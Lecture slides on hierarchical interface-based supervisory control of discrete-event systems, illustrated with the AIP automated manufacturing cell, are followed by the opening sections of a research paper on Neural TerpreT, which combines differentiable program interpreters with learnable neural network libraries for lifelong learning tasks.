- We then verify that the system is level-wise controllable, and thus conclude by Controllability Theorem that the flat supervisor is controllable for the flat plant.
AIP Example
- Applied HISC method to the automated manufacturing system of the Atelier Inter-établissement de Productique (AIP).
- System consists of:
- Central loop (CL) and four external loops (EL).
- Three assembly stations (AS).
- Four inter-loop transfer units (TU).
- One I/O station where pallets enter and leave the station.
Each station contains:
- Robot to perform assembly tasks.
- Extractor to transfer the pallet from the conveyor loop to the robot.
- Sensors to determine the location of the extractor.
- Raising platform to present the pallet to the robot.
- Sensors to detect presence of pallet.
- Read/write (R/W) device to access the pallet’s electronic label.
Assembly Stations - II
- Stations differ based on functionality and reliability.
- Station one can perform task1A and task1B, while station 2 can perform task task2A and task2B.
- Station 3 can perform all four tasks, and can also repair a damaged pallet.
- Stations 1 and 2 can break down and must be repaired, while station 3 is of higher quality and is assumed never to break down.
- Station 3 is used as a substitute for the other stations when they are down.
**Transport Unit for External Loop** \( X = 1, 2, 3, 4 \)
- Transport Units are used to transfer pallets between the central loop and the external loops.
- Each transport unit contains:
- Transport drawer which physically conveys the pallet between the two loops.
- Sensors to determine the drawer’s location.
- Each loop has a pallet gate and pallet stop.
- Sensors to detect presence of pallets.
- Read/write device.
AIP Control Specifications
1. **Routing:** Type 1 pallet must go first to AS1, then AS2 before leaving the system. Type 2 pallets go first to AS2, then AS1 before leaving the system.
2. **Capacity:** External loops 1 and 2 are limited to one pallet at a time.
3. **Pallet Exit Ordering:** type 1, type 2, type 1, ...
4. **Assembly errors:** When pallet damaged, route to AS3 for maintenance then undergo assembly operation again.
5. **Station Breakdown:** When AS1 or AS2 down, pallets are routed to AS3 until station repaired.
6. **Capacity of AS:** Only one pallet is allowed in a given station at a time.
7. **Task Ordering:** For Type 1 pallets, do task1A before task1B, and task2A before task2B. For type 2, do task1B before task1A, and task2B before task2A.
Structure of Parallel System
- Figure below shows breakdown of AIP system.
- Example contains 181 DES, so we will only look at a few representative DES.
- **Convention:**
- Uncontrollable events are shown in italics; all other events are controllable.
- Initial states have a thick outline, marker states are filled.
High-Level
- Keeps track of breakdown status of assembly stations.
- Enforces maximum capacity of external loops 1 and 2.
- Controls operation of all transport units and assembly stations.
- **Supervisor ManageTU1**: controls transfer of pallets between central loop and external loop 1.
Interface to low level $k = \text{AS1, AS2}$
- They are identical so only have to design and verify once.
- Provides functionality indicated in interface.
- Accepts pallet at gate and presents to robot for assembly.
- Robot performs correct task based on pallet type.
- Pallet released and status of operation reported.
Interface to AS3
- Provides functionality in interface below.
- Behaviour similar to AS1 and AS2.
**Differences:**
- Can repair damaged pallets.
- Assumed never to break down.
- Can substitute for other stations when down.
Low Levels TU1 and TU2
- Identical so only have to design and verify once.
- Provides functionality in interface below.
- Transfers pallets between CL and external loop.
- Pallets at EL always transferred.
- Pallet at CL gate can be liberated or transferred (only if pallet undamaged and next task pending).
Supervisor: HndlTrnsfToEL.r
- Controls pallet transfers from CL to EL.
Low Level TU3
- Functionality similar to TU1 and TU2.
- Provides functionality in interface below.
- TU3 differs in criteria to send pallet to EL.
- Transfer all damaged pallets to EL.
- If pending assembly station down then transfer pallet to EL so AS3 can substitute for down AS.
Low Level TU4
» Similar to TU1 and TU2.
» Provides functionality in interface below (take $q = TU4$).
» Differs in criteria to transfer pallet to external loop.
» Pallets required to leave system in order: type 1, type 2, type 1, ...
» Only transfers pallet if type fits order.
Verifying System
- Estimated worst case closed-loop state space: $7 \times 10^{21}$.
- Verified system level-wise controllable, nonblocking and interface consistent.
- Conclude by nonblocking Theorem and controllability Theorem that flat system nonblocking, and flat supervisor controllable for flat plant.
- Computation ran for 3 minutes, using 500MB of memory.
- Ran on 2Ghz Athlon 64 bit system, 4GB of RAM, and running Linux.
- A standard nonblocking verification failed due to lack of memory.
Algorithm Complexity
- Let $N_H$ denote the size of the statespace of $G_H$, while $N_I$ and $N_L$ are upper bounds for the statespace size of $G_{I_j}$ and $G_{L_j}$ ($j = 1, \ldots, n$), respectively.
- The limiting factor for a monolithic algorithm would be $N_H N_L^n$ (ie for a flat system $G_H || G_{L_1} || \ldots || G_{L_n}$) and similarly $N_H N_I^n$ (for high level $G_H || G_{I_1} || \ldots || G_{I_n}$) for the HISC method.
- As long as $N_I \ll N_L$ (at least an order of magnitude), the HISC will provide significant improvement.
AIP Component Sizes
Below are the size of various components for the AIP example.
| Subsystem | States | Standalone | || with $G_{I_j}$ | Size of $G_{I_j}$ |
|-----------|-------------------------|------------|------------------|------------------|
| $G_H$ | | 1,480,864 | 3,306,240 | 8,192 |
| AS1 | | 1,795 | 120 | 4 |
| AS2 | | 1,795 | 120 | 4 |
| AS3 | | 1,199 | 203 | 2 |
| TU1 | | 98 | 98 | 4 |
| TU2 | | 98 | 98 | 4 |
| TU3 | | 204 | 204 | 4 |
| TU4 | | 152 | 152 | 4 |
Substituting actual data from the AIP, we get:
- \( N_L^n = (120)^2(203)(98)^2(204)(152) = 8.71 \times 10^{14} \)
- \( N_I^n = (4)^2(2)(4)^4 = 8,192 \).
This is a potential savings of 11 orders of magnitude!
HISC Tradeoffs
- The trade-off for this increase in computational efficiency is a more restrictive architecture.
- Interface approach restricts knowledge about internal details of components, and only allows supervisors to disable local and interface events.
- Result is we sacrifice global maximal permissiveness to obtain a (generally) suboptimal solution, but one that is more tractable.
- As similar interface-based approaches are common in both hardware and software, it’s likely this method will be widely applicable.
HISC Synthesis
- So far, we have provided supervisors and verified that the system satisfied the HISC conditions.
- If they do not, we must modify them until they do satisfy the conditions.
- Pengcheng Dai developed a per level synthesis method.
- Replaced high-level supervisor and each low-level supervisor with a corresponding specification DES.
- Constructs for each level a maximally permissive supervisor that satisfies the needed HISC conditions.
HISC System Structure For Synthesis
- Each level has its own specification.
- For further reading, see:
Symbolic HISC Methods
- So far, HISC algorithms used explicit lists of DES states, and transitions.
- Means size of each level limited to around $10^7$ states when using 1GB of memory.
- Want to represent states and transitions symbolically and implement using Binary Decision Diagrams (BDD) to save space and increase speed.
- Sets of states and transitions were represented as predicates.
- For instance, predicate $P : X \rightarrow \{0, 1\}$ might represent the set of reachable states such that for state $x \in X$, $P(x) = 1$ iff the state is reachable.
- Raoguang Song developed symbolic method for both verification and synthesis.
Symbolic Method and AIP Example
- Previously, AIP example took 3 minutes to verify, using 500MB of memory.
- With BDD-based software, Original AIP example took 2 seconds, and estimated 30 MB of memory.
- Song created greatly extended version of AIP example.
- Used less than 160MB of RAM and took 26 minutes to verify HISC conditions with high-level $10^{13}$ states, and system worst case $7.04 \times 10^{26}$ states.
- Flat verification with BDD tool quickly used up all available RAM and failed to complete after 24 hours.
- Performed synthesis on system. Used less than 160MB of RAM and took 128 minutes to complete. High-level was $10^{15}$ states, and system worst case $1.51 \times 10^{30}$ states.
Song also proposed a compact implementation for synthesized DES that takes advantage of the HISC method.
For further reading on both topics, see:
HISC and Low Data Events
- Drawback of HISC was that when the interface is at a marked state, the low-level could not provide any information.
- This made it impossible for the interface to model “polling behavior” or low-levels that behaved like buffers.
- To increase the types of systems interfaces can model, a new type of interface events, called low data events $\Sigma_{LD}$, was added.
- Low data events provide means for low-level to send information (data) through the interface, independent of the standard request-answer structure.
- Needed to keep state of interfaces consistent with the state of their corresponding low-levels.
LD Interfaces
- Below extends command-pair interfaces to allow low data events, but also allows request events that are not followed by answer events.
Definition
The $j^{th}$ interface $\text{DES } G_I_j = (X_j, \Sigma_I_j, \xi_j, x_{o_j}, X_{m_j})$ is a LD interface if the following properties are satisfied:
1. $x_{o_j} \in X_{m_j}$
2. $(\forall x \in X_{m_j})(\forall \sigma \in \Sigma_I_j) \xi_j(x, \sigma)! \Rightarrow [\sigma \in \Sigma_{R_j}] \lor [\sigma \in \Sigma_{LD_j} \land \xi_j(x, \sigma) \in X_{m_j}]$
3. $(\forall x \in X_j - X_{m_j})(\forall \sigma \in \Sigma_I_j) \xi_j(x, \sigma)! \Rightarrow [\sigma \in \Sigma_{A_j} \land \xi_j(x, \sigma) \in X_{m_j}] \lor [\sigma \in \Sigma_{LD_j}]$
LD Interface Example
- Interface could correspond to a machine at the low-level with an effective internal buffer of two.
- The \textit{isdone}\{-\textit{done, notdone}\} sequence shows an example of polling.
\[ \sum_{R_j}=\{\text{isDone, start}\}, \sum_{A_j}=\{\text{done}\}, \sum_{LD_j}=\{\text{notDone}\} \]
LD Interface Consistent
Definition
The \( n \)\textsuperscript{th} degree (\( n \geq 1 \)) interface system composed of DES \( G_H, G_{I_1}, G_{L_1}, \ldots, G_{I_n}, G_{L_n} \), is LD interface consistent with respect to the alphabet partition given by (1), if for all \( j \in \{1, \ldots, n\} \), the following conditions are satisfied:
Multi-level Properties
1. The event set of \( G_H \) is \( \Sigma_{IH} \), and the event set of \( G_{L_j} \) is \( \Sigma_{IL_j} \).
2. \( G_{I_j} \) is a LD interface.
High-Level Property
3. \( (\forall s \in H \cap I) \text{ Elig}_{I_j}(s) \cap (\Sigma_{A_j} \cup \Sigma_{LD_j}) \subseteq \text{ Elig}_H(s) \)
Low-Level Properties
4. \((\forall s \in L_j \cap I_j) \ Elig_{I_j}(s) \cap \Sigma_{R_j} \subseteq Elig_{L_j}(s)\)
5. \((\forall s \in \Sigma^* . \Sigma_{R_j} \cap L_j \cap I_j)\)
\[\text{Elig}_{L_j \cap I_j}(s \Sigma^*_{L_j}) \cap \Sigma_{A_j} = Elig_{I_j}(s) \cap \Sigma_{A_j}\]
where
\[\text{Elig}_{L_j \cap I_j}(s \Sigma^*_{L_j}) := \bigcup_{l \in \Sigma^*_{L_j}} \text{Elig}_{L_j \cap I_j}(sl)\]
6. \((\forall s \in L_j \cap I_j)\)
\[s \in I_{m_j} \Rightarrow (\exists l \in \Sigma^*_{L_j}) \ sl \in L_{m_j} \cap I_{m_j}\].
LD Level-Wise Nonblocking and Controllability
- LD Level-Wise Controllability is essentially unchanged.
- For further reading, see:
**Definition**
The $n^{th}$ degree ($n \geq 1$) interface system composed of DES $G_H, G_{I_1}, G_{L_1}, \ldots, G_{I_n}, G_{L_n}$, is said to be *LD level-wise nonblocking* if the following conditions are satisfied:
(I) **LD nonblocking at the high-level:**
\[ (\forall s \in H \cap I)(\exists s' \in (\Sigma - \Sigma_{LD})^*) \]
\[ ss' \in H_m \cap I_m \]
(II) **nonblocking at the low-level:**
\[ (\forall j \in \{1, \ldots, n\}) \overline{L_{m_j} \cap I_{m_j}} = L_j \cap I_j \]
|
{"Source-Url": "http://www.cas.mcmaster.ca/~leduc/slidesCAS745/cas745slides5.pdf", "len_cl100k_base": 9776, "olmocr-version": "0.1.53", "pdf-total-pages": 72, "total-fallback-pages": 0, "total-input-tokens": 119676, "total-output-tokens": 13250, "length": "2e13", "weborganizer": {"__label__adult": 0.00039458274841308594, "__label__art_design": 0.0008192062377929688, "__label__crime_law": 0.0004906654357910156, "__label__education_jobs": 0.00377655029296875, "__label__entertainment": 9.328126907348631e-05, "__label__fashion_beauty": 0.00020992755889892575, "__label__finance_business": 0.0006303787231445312, "__label__food_dining": 0.0004711151123046875, "__label__games": 0.0009679794311523438, "__label__hardware": 0.00426483154296875, "__label__health": 0.0006999969482421875, "__label__history": 0.0004527568817138672, "__label__home_hobbies": 0.00026607513427734375, "__label__industrial": 0.0028362274169921875, "__label__literature": 0.0002694129943847656, "__label__politics": 0.00035071372985839844, "__label__religion": 0.0006399154663085938, "__label__science_tech": 0.246337890625, "__label__social_life": 0.0001354217529296875, "__label__software": 0.01285552978515625, "__label__software_dev": 0.72119140625, "__label__sports_fitness": 0.0003299713134765625, "__label__transportation": 0.0013484954833984375, "__label__travel": 0.00022482872009277344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 35051, 0.01435]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 35051, 0.49925]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 35051, 0.80956]], "google_gemma-3-12b-it_contains_pii": [[0, 207, false], [207, 992, null], [992, 1688, null], [1688, 2321, null], [2321, 2567, null], [2567, 3154, null], [3154, 3713, null], [3713, 4097, null], [4097, 4311, null], [4311, 4859, null], [4859, 5787, null], [5787, 6072, null], [6072, 6806, null], [6806, 7459, null], [7459, 7615, null], [7615, 7809, null], [7809, 8377, null], [8377, 8838, null], [8838, 9276, null], [9276, 9735, null], [9735, 10231, null], [10231, 10896, null], [10896, 11468, null], [11468, 11951, null], [11951, 12630, null], [12630, 13649, null], [13649, 14448, null], [14448, 14876, null], [14876, 15570, null], [15570, 16546, null], [16546, 17020, null], [17020, 17428, null], [17428, 17888, null], [17888, 18162, null], [18162, 18571, null], [18571, 18829, null], [18829, 19814, null], [19814, 20432, null], [20432, 20912, null], [20912, 21231, null], [21231, 21304, null], [21304, 21693, null], [21693, 22036, null], [22036, 22383, null], [22383, 22852, null], [22852, 23283, null], [23283, 24055, null], [24055, 24379, null], [24379, 24668, null], [24668, 24989, null], [24989, 24989, null], [24989, 25215, null], [25215, 25525, null], [25525, 25597, null], [25597, 25881, null], [25881, 26164, null], [26164, 26668, null], [26668, 27215, null], [27215, 28211, null], [28211, 28421, null], [28421, 28949, null], [28949, 29408, null], [29408, 29699, null], [29699, 30339, null], [30339, 31052, null], [31052, 31386, null], [31386, 32033, null], [32033, 32746, null], [32746, 33060, null], [33060, 33718, null], [33718, 34266, null], [34266, 35051, null]], "google_gemma-3-12b-it_is_public_document": [[0, 207, true], [207, 992, null], [992, 1688, null], [1688, 2321, null], [2321, 2567, null], [2567, 3154, null], [3154, 3713, null], [3713, 4097, null], [4097, 4311, null], [4311, 4859, null], [4859, 5787, null], [5787, 6072, null], [6072, 6806, null], [6806, 7459, null], [7459, 7615, null], [7615, 7809, null], [7809, 8377, null], [8377, 8838, null], [8838, 9276, null], [9276, 9735, null], [9735, 10231, null], [10231, 10896, null], [10896, 11468, null], [11468, 11951, null], [11951, 12630, null], [12630, 13649, null], [13649, 14448, null], [14448, 14876, null], [14876, 15570, null], [15570, 16546, null], [16546, 17020, null], [17020, 17428, null], [17428, 17888, null], [17888, 18162, null], [18162, 18571, null], [18571, 18829, null], [18829, 19814, null], [19814, 20432, null], [20432, 20912, null], [20912, 21231, null], [21231, 21304, null], [21304, 21693, null], [21693, 22036, null], [22036, 22383, null], [22383, 22852, null], [22852, 23283, null], [23283, 24055, null], [24055, 24379, null], [24379, 24668, null], [24668, 24989, null], [24989, 24989, null], [24989, 25215, null], [25215, 25525, null], [25525, 25597, null], [25597, 25881, null], [25881, 26164, null], [26164, 26668, null], [26668, 27215, null], [27215, 28211, null], [28211, 28421, null], [28421, 28949, null], [28949, 29408, null], [29408, 29699, null], [29699, 30339, null], [30339, 31052, null], [31052, 31386, null], [31386, 32033, null], [32033, 32746, null], [32746, 33060, null], [33060, 33718, null], [33718, 34266, null], [34266, 35051, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 35051, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 35051, null]], "pdf_page_numbers": [[0, 207, 1], [207, 992, 2], [992, 1688, 3], [1688, 2321, 4], [2321, 2567, 5], [2567, 3154, 6], [3154, 3713, 7], [3713, 4097, 8], [4097, 4311, 9], [4311, 4859, 10], [4859, 5787, 11], [5787, 6072, 12], [6072, 6806, 13], [6806, 7459, 14], [7459, 7615, 15], [7615, 7809, 16], [7809, 8377, 17], [8377, 8838, 18], [8838, 9276, 19], [9276, 9735, 20], [9735, 10231, 21], [10231, 10896, 22], [10896, 11468, 23], [11468, 11951, 24], [11951, 12630, 25], [12630, 13649, 26], [13649, 14448, 27], [14448, 14876, 28], [14876, 15570, 29], [15570, 16546, 30], [16546, 17020, 31], [17020, 17428, 32], [17428, 17888, 33], [17888, 18162, 34], [18162, 18571, 35], [18571, 18829, 36], [18829, 19814, 37], [19814, 20432, 38], [20432, 20912, 39], [20912, 21231, 40], [21231, 21304, 41], [21304, 21693, 42], [21693, 22036, 43], [22036, 22383, 44], [22383, 22852, 45], [22852, 23283, 46], [23283, 24055, 47], [24055, 24379, 48], [24379, 24668, 49], [24668, 24989, 50], [24989, 24989, 51], [24989, 25215, 52], [25215, 25525, 53], [25525, 25597, 54], [25597, 25881, 55], [25881, 26164, 56], [26164, 26668, 57], [26668, 27215, 58], [27215, 28211, 59], [28211, 28421, 60], [28421, 28949, 61], [28949, 29408, 62], [29408, 29699, 63], [29699, 30339, 64], [30339, 31052, 65], [31052, 31386, 66], [31386, 32033, 67], [32033, 32746, 68], [32746, 33060, 69], [33060, 33718, 70], [33718, 34266, 71], [34266, 35051, 72]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 35051, 0.02169]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
1493167768738071706848c88ef5463b721c8227
|
Abstract
We develop a framework for combining differentiable programming languages with neural networks. Using this framework we create end-to-end trainable systems that learn to write interpretable algorithms with perceptual components. We explore the benefits of inductive biases for strong generalization and modularity that come from the program-like structure of our models. In particular, modularity allows us to learn a library of (neural) functions which grows and improves as more tasks are solved. Empirically, we show that this leads to lifelong learning systems that transfer knowledge to new tasks more effectively than baselines.
1. Introduction
Recently, there has been much work on learning algorithms using neural networks. Following the idea of the Neural Turing Machine (Graves et al., 2014), this work has focused on extending neural networks with interpretable components that are differentiable versions of traditional computer components, such as external memories, stacks, and discrete functional units. However, trained models are not easily interpreted as the learned algorithms are embedded in the weights of a monolithic neural network. In this work we flip the roles of the neural network and differentiable computer architecture. We consider interpretable controller architectures which express algorithms using differentiable programming languages (Gaunt et al., 2016; Riedel et al., 2016; Bunel et al., 2016). In our framework, these controllers can execute discrete functional units (such as those considered by past work), but also have access to a library of trainable, uninterpretable neural network functional units. The system is end-to-end differentiable such that the source code representation of the algorithm is jointly induced with the parameters of the neural function library. In this paper we explore potential advantages of this class of hybrid model over purely neural systems, with a particular emphasis on lifelong learning systems that learn from weak supervision.
We concentrate on perceptual programming by example (PPBE) tasks that have both algorithmic and perceptual elements to exercise the traditional strengths of program-like and neural components. Examples of this class of task include navigation tasks guided by images or natural language (see Fig. 1) or handwritten symbol manipulation (see Sec. 3). Using an illustrative set of PPBE tasks we aim to emphasize two specific benefits of our hybrid models:
First, the source code representation in the controller allows modularity: the neural components are small functions that specialize to different tasks within the larger program structure. It is easy to separate and share these functional units to transfer knowledge between tasks. In contrast, the absence of well-defined functions in purely neural solutions makes effective knowledge transfer more difficult, leading to problems such as catastrophic forgetting in multitask and lifelong learning (McCloskey & Cohen, 1989; Ratcliff, 1990). In our experiments, we consider a lifelong learning setting in which we train the system on a sequence of PPBE tasks that share perceptual subtasks.
Second, the source code representation enforces an inductive bias that favors learning solutions that exhibit strong generalization. For example, once a suitable control flow structures (e.g., a for loop) for a list manipulation problem was learned on short examples, it trivially generalizes to lists of arbitrary length. In contrast, although some neural architectures demonstrate a surprising ability to generalize, the reasons for this generalization are not fully understood (Zhang et al., 2017) and generalization performance invariably degrades as inputs become increasingly distinct from the training data.
This paper is structured as follows. We first present a language, called NEURAL TERNERPT (NTPT), for specifying hybrid source code/neural network models (Sec. 2), and then introduce a sequence of PPBE tasks (Sec. 3). Our NTPT models and purely neural baselines are described in Sec. 4 and 5 respectively. The experimental results are presented in Sec. 6.
Differentiable Programs with Neural Libraries
2. Building hybrid models
The TERPRET language (Gaunt et al., 2016) provides a system for constructing differentiable program interpreters that can induce source code operating on basic data types (e.g., integers) from input-output examples. We extend this language with the concept of learnable neural functions. These can either be embedded inside the differentiable interpreter as mappings from integer to integer or (as we emphasize in this work) can act as learnable interfaces between perceptual data represented as floating point Tensors and the differentiable interpreter’s integer data type. Below we briefly review the TERPRET language and describe the NEURAL TERPRET extensions.
2.1. TERPRET
TERPRET programs specify a differentiable interpreter by defining the relationship between Inputs and Outputs via a set of inferrable Params (that define an executable program) and Vars (that store intermediate results). TERPRET requires all of these variables to range over bounded integers. The model is made differentiable by a compilation step that lifts the relationships between integers specified by the TERPRET code to relationships between marginal distributions over integers in finite ranges. Fig. 1 illustrates an example application of the language.
TERPRET can be translated into a TensorFlow (Abadi et al., 2015) computation graph which can then be trained using standard methods. For this, two key features of the language need to be translated:
- Function application. The statement `z.set_to(foo(x, y))` is translated into $\mu_z = \sum_{jk} I_{ijk} a_{jk}^T b_k$ where $a_{jk}$ represents the marginal distribution for the variable $a$ and $I$ is an indicator tensor $I[i = foo(j,k)]$. This approach extends to all functions mapping any number of integer arguments to an integer output.
- Conditional statements. The statements if $x == 0$: $z.set_to(a)$; elif $x == 1$: $z.set_to(b)$ are translated to $\mu_z = \mu_z^a + \mu_z^b$. Statements switching between more than two cases follow a similar pattern, with details given in (Gaunt et al., 2016).
2.2. NEURAL TERPRET
To handle perceptual data, we relax the restriction that all variables need to be finite integers. We introduce a new floating point Tensor type whose dimensions are fixed at declaration, and which is suitable for storing perceptual data. Additionally, we introduce learnable functions...
Differentiable Programs with Neural Libraries

**Figure 2:** Overview of tasks in the (a) ADD2X2, (b) APPLY2X2 and (c) MATH scenarios. ‘A’ denotes the APPLY operator which replaces the ? tiles with the selected operators and executes the sum. We show two MATH examples of different length.
that can process integer or tensor variables. A learnable function is declared using `@Learn([d_1,...,d_D], d_{out}, hid_sizes=[f_1,...,f_L])`, where the first component specifies the dimensions (resp. ranges) `d_1,...,d_D` of the input tensors (resp. integers) and the second specifies the dimension of the output. NTPT compiles such functions into a fully-connected feed-forward neural network whose layout is controlled by the `hid_sizes` component (specifying the number neurons in each layer). The inputs of the function are simply concatenated. Tensor output is generated by learning a mapping from the last hidden layer, and finite integer output is generated by a softmax layer producing a distribution over integers up to the declared bound. NTPT learns to compute the result. As training examples, we supply only a grid and the resulting sum. Thus, we never directly label an MNIST digit with its class.
| ADD2X2 scenario: | The first scenario in Fig. 2(a) uses of a `2 × 2` grid of MNIST digits. We set 4 tasks based on this grid: compute the sum of the digits in the (1) top row, (2) left column, (3) bottom row, (4) right column. All tasks require classification of MNIST digits, but need different programs to compute the result. As training examples, we supply only a grid and the resulting sum. Thus, we never directly label an MNIST digit with its class.
| APPLY2X2 scenario: | The second scenario in Fig. 2(b) presents a `2 × 2` grid of handwritten arithmetic operators. Providing three auxiliary random integers `d_1, d_2, d_3`, we again set 4 tasks based on this grid, namely to evaluate the expression `d_1 \ op_1 \ d_2 \ op_2 \ d_3` where `(op_1, op_2)` are the operators represented in the (1) top row, (2) left column, (3) bottom row, (4) right column. In comparison to the first scenario, the dataset of operators is relatively small and consistent\(^2\), making the perceptual task of classifying operators considerably easier.
| MATH scenario: | The final task in Fig. 2(c) requires combination of the knowledge gained from the weakly labeled data in the first two scenarios to execute a handwritten arithmetic expression.
3. A Lifetime of PPBE Tasks
Motivated by the hypothesis that the modularity of the source code representation benefits knowledge transfer, we devise a `sequence` of PPBE tasks to be solved by sharing knowledge between tasks. Our tasks are based on algorithmic manipulation of handwritten digits and mathematical operators.
In early tasks the model learns to navigate simple `2 × 2` grids of images, and to become familiar with the concepts of digits and operators from a variety of weak supervision. Despite their simplicity, these challenges already pose problems for purely neural lifelong learning systems.
The final task in the learning lifetime is more complex and designed to test generalization properties: the system must learn to compute the results of variable-length mathematical expressions expressed using handwritten symbols. The algorithmic component of this task is similar to arithmetic tasks presented to contemporary Neural GPU models (Kaiser & Sutskever, 2016; Price et al., 2016). The complete set of tasks is illustrated in Fig. 2 and described in detail below.
| ADD2X2 scenario: | The first scenario in Fig. 2(a) uses of a `2 × 2` grid of MNIST digits. We set 4 tasks based on this grid: compute the sum of the digits in the (1) top row, (2) left column, (3) bottom row, (4) right column. All tasks require classification of MNIST digits, but need different programs to compute the result. As training examples, we supply only a grid and the resulting sum. Thus, we never directly label an MNIST digit with its class.
| APPLY2X2 scenario: | The second scenario in Fig. 2(b) presents a `2 × 2` grid of handwritten arithmetic operators. Providing three auxiliary random integers `d_1, d_2, d_3`, we again set 4 tasks based on this grid, namely to evaluate the expression `d_1 \ op_1 \ d_2 \ op_2 \ d_3` where `(op_1, op_2)` are the operators represented in the (1) top row, (2) left column, (3) bottom row, (4) right column. In comparison to the first scenario, the dataset of operators is relatively small and consistent\(^2\), making the perceptual task of classifying operators considerably easier.
| MATH scenario: | The final task in Fig. 2(c) requires combination of the knowledge gained from the weakly labeled data in the first two scenarios to execute a handwritten arithmetic expression.
4. Models
We study two kinds of NTPT model. First, for navigating the introductory `2 × 2` grid scenarios, we create a model which learns to write simple straight-line code. Second, for the MATH scenario we ask the system to use a more com-
Differentiable Programs with Neural Libraries
(a)
```
# initialization:
R0 = READ
# program:
R1 = MOVE.EAST
R2 = MOVE.SOUTH
R3 = SUM(R0, R1)
R4 = NOOP
return R3
```
(b)
```
# initialization:
R0 = InputInt[0]
R1 = InputInt[1]
R2 = InputInt[2]
R3 = READ
# program:
R4 = MOVE.EAST
R5 = MOVE.SOUTH
R6 = APPLY(R0, R1, R4)
R7 = APPLY(R6, R2, R5)
return R7
```
Figure 3: Example solutions for the tasks on the right columns of the (a) ADD2x2 and (b) APPLY2x2 scenarios. The read head is initialized reading the top left cell and any auxiliary InputInts are loaded into memory. Instructions and arguments shown in black must be learned.
plex language which supports loopy control flow (note that the baselines will also be specialized between the 2 × 2 scenarios and the MATH scenario). Knowledge transfer is achieved by defining a library of 2 neural network functions shared across all tasks and scenarios. Training on each task should produce a task-specific source code solution (from scratch) and improve the overall usefulness of the shared networks. All models are included in Appendix B, and below we outline further details of the models.
4.1. Shared components
We refer to the 2 networks in the shared library as net.0 and net.1. Both networks have similar architectures: they take a 28 × 28 monochrome image as input and pass this sequentially through two fully connected layers each with 256 neurons and ReLU activations. The last hidden vector is passed through a fully connected layer and a softmax to produce a 10 dimensional output (net.0) or 4 dimensional output (net.1) to feed to the differentiable interpreter (the output sizes are chosen to match the number of classes of MNIST digits and arithmetic operators respectively).
One restriction that we impose is that when a new task is presented, no more than one new untrained network can be introduced into the library (i.e. in our experiments the very first task has access to only net.0, and all other tasks have access to both nets). This restriction is imposed because if a differentiable program tries to make a call to one of N untrained networks based on an unknown parameter net.choice = Param(N), then the system effectively sees the N nets together with the net.choice parameter as one large untrained network, which cannot usefully be split apart into the N components after training.
4.2. 2 × 2 model
For the 2 × 2 scenarios we build a model capable of writing short straight line algorithms with up to 4 instructions. The model consists of a read head containing net.0 and net.1 which are connected to a set of registers each capable of holding integers in the range 0, . . . , M, where M = 18. The head is initialized reading the top left cell of the 2 × 2 grid. At each step in the program, one instruction can be executed, and lines of code are constructed by choosing an instruction and addresses of arguments for that instruction. We follow (Feser et al., 2016) and allow each line to store its result in a separate immutable register. For the ADD2x2 scenario the instruction set is:
- NOOP: a trivial no-operation instruction.
- MOVE.NORTH, MOVE.EAST, MOVE.SOUTH, MOVE.WEST: translate the head (if possible) and return the result of applying the neural network chosen by net.choice to the image in the new cell.
- ADD(·, ·): accepts two register addresses and returns the sum of their contents.
The parameter net.choice is to be learned and decides which of net.0 and net.1 to apply. In the APPLY2x2 scenario we extend the ADD instruction to APPLY(a, b, op) which interprets the integer stored at op as an arithmetic operator and computes\(^3\) a op b. In addition, for the APPLY2x2 scenario we initialize three registers with the auxiliary integers supplied with each 2 × 2 operator grid [see Fig. 2(b)]. In total, this model exposes a program space of up to \(\sim 10^{12}\) syntactically distinct programs.
4.3. MATH model
The final task investigates the synthesis of more complex, loopy control flow. A natural solution to execute the expression on the tape is to build a loop with a body that alternates between moving the head and applying the operators [see Fig. 4(b)]. This loopy solution has the advantage that it generalizes to handle arbitrary length arithmetic expressions.
Fig. 4(a) shows the basic architecture of the interpreter used in this scenario. We provide a set of three blocks each containing the instruction MOVE or APPLY, an address, a register and a net.choice. A MOVE instruction increments the position of the head and loads the new symbol into a block’s register using either net.0 or net.1 as determined by the block’s net.choice. After executing the instruction, the interpreter executes a GOTO_IF statement which checks whether the head is over the end of the tape and if not then it passes control to the block specified by goto_addr, otherwise control passes to a halt block which returns a chosen register value and exits the program. This model describes a space of \(\sim 10^9\) syntactically distinct programs.
\(^3\)All operations are performed modulo \((M + 1)\) and division by zero returns \(M\).
5. Baselines
To evaluate the merits of including the source code structure in NTPT models, we build baselines that replace the differentiable program interpreter with neural networks, thereby creating purely neural solutions to the lifelong PPBE tasks. We specialize these neural baselines for the $2 \times 2$ task (with emphasis on lifelong learning) and for the MATH task (with emphasis on generalization).
5.1. $2 \times 2$ baselines
We define a column as the following neural architecture (see Fig. 5(a)):
- Each of the images in the $2 \times 2$ grid is passed through an embedding network with 2 layers of 256 neurons (cf. net_0/1) to produce a 10-dimensional embedding. The weights of the embedding network are shared across all 4 images.
- These 4 embeddings are concatenated into a 40-dimensional vector and for the APPLY2x2 the auxiliary integers are represented as one-hot vectors and concatenated with this 40-dimensional vector.
- This is then passed through a network consisting of 3 hidden layers of 128 neurons to produce a 19-dimensional output.
We construct 3 different neural baselines derived from this column architecture (see Fig. 5):
1. **Indep.**: Each task is handled by an independent column with no mechanism for transfer.
